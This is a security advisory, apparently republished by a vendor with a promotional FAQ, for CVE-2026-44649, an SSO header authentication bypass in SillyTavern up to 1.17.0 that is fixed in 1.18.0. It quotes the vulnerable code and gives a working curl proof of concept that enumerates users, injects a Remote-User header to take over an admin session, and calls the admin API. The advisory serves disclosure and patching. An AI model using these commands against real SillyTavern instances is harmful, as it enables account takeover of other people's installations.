CVE-2026-44649

Resolution

SillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.

Documentation: https://docs.sillytavern.app/administration/sso/

SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP
headers to automatically log in users when SSO is configured. There is no validation that
these headers originate from a trusted reverse proxy. Any network client that can reach
the SillyTavern port directly can inject these headers and authenticate as any user,
including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or
sso.authentikAuth: true is set in config.yaml (both default to false).

Detials

SillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the
tryAutoLogin function (called on every request to /login) invokes headerUserLogin,
which reads an HTTP header set by the upstream proxy and automatically creates an
authenticated session for the matching user:

src/users.js:779-801:

async function headerUserLogin(request, header = 'Remote-User') {
    if (!request.session) { return false; }

    const remoteUser = request.get(header);  // reads any header from any client
    if (!remoteUser) { return false; }

    const userHandles = await getAllUserHandles();
    for (const userHandle of userHandles) {
        if (remoteUser.toLowerCase() === userHandle) {
            const user = await storage.getItem(toKey(userHandle));
            if (user && user.enabled) {
                request.session.handle = userHandle; 
                return true;
            }
        }
    }
    return false;
}

request.get(header) is Express's wrapper for req.headers[name.toLowerCase()].
Express does not distinguish between headers set by a trusted upstream proxy and headers
injected by the end client. Without an IP allowlist check, any client can set
Remote-User: and receive an authenticated session cookie.

User Enumeration Pre-Condition

The /api/users/list endpoint is registered before requireLoginMiddleware in
src/server-main.js:236, making it publicly accessible without authentication:

src/server-main.js:236,239:

app.use('/api/users', usersPublicRouter);  // line 236 (public)
app.use(requireLoginMiddleware);           // line 239 (auth gate)

src/endpoints/users-public.js:26-57:

router.post('/list', async (_request, response) => {
    if (DISCREET_LOGIN) { return response.sendStatus(204); }
    const users = await storage.values(x => x.key.startsWith(KEY_PREFIX));
    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags
});

This allows an attacker to enumerate all user handles (including admin handles) without
any prior credentials.

PoC

TARGET="http://localhost:8000"

# enumerate users
curl -s -X POST "$TARGET/api/users/list" -H "Content-Type: application/json" -d '{}'

# inject Remote-User header, receive authsession
curl -s -L \
  -H "Remote-User: admin-user" \
  -c /tmp/st-session.txt \
  "$TARGET/login"


# obtain CSRF token, call admin API
TOKEN=$(curl -s -b /tmp/st-session.txt "$TARGET/csrf-token" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

curl -s -X POST "$TARGET/api/users/admin/get" \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -b /tmp/st-session.txt \
  -d '{}'

An account takeover, allowing an attacker to do anything a legitimately authorized user can do.

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-44649 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.18.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-44649? CVE-2026-44649 is a critical-severity missing authentication for critical function vulnerability in sillytavern (npm), affecting versions <= 1.17.0. It is fixed in 1.18.0. A critical operation is accessible without requiring any authentication.
2. How severe is CVE-2026-44649? CVE-2026-44649 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of sillytavern are affected by CVE-2026-44649? sillytavern (npm) versions <= 1.17.0 is affected.
4. Is there a fix for CVE-2026-44649? Yes. CVE-2026-44649 is fixed in 1.18.0. Upgrade to this version or later.
5. Is CVE-2026-44649 exploitable, and should I be worried? Whether CVE-2026-44649 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44649 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44649? Upgrade sillytavern to 1.18.0 or later.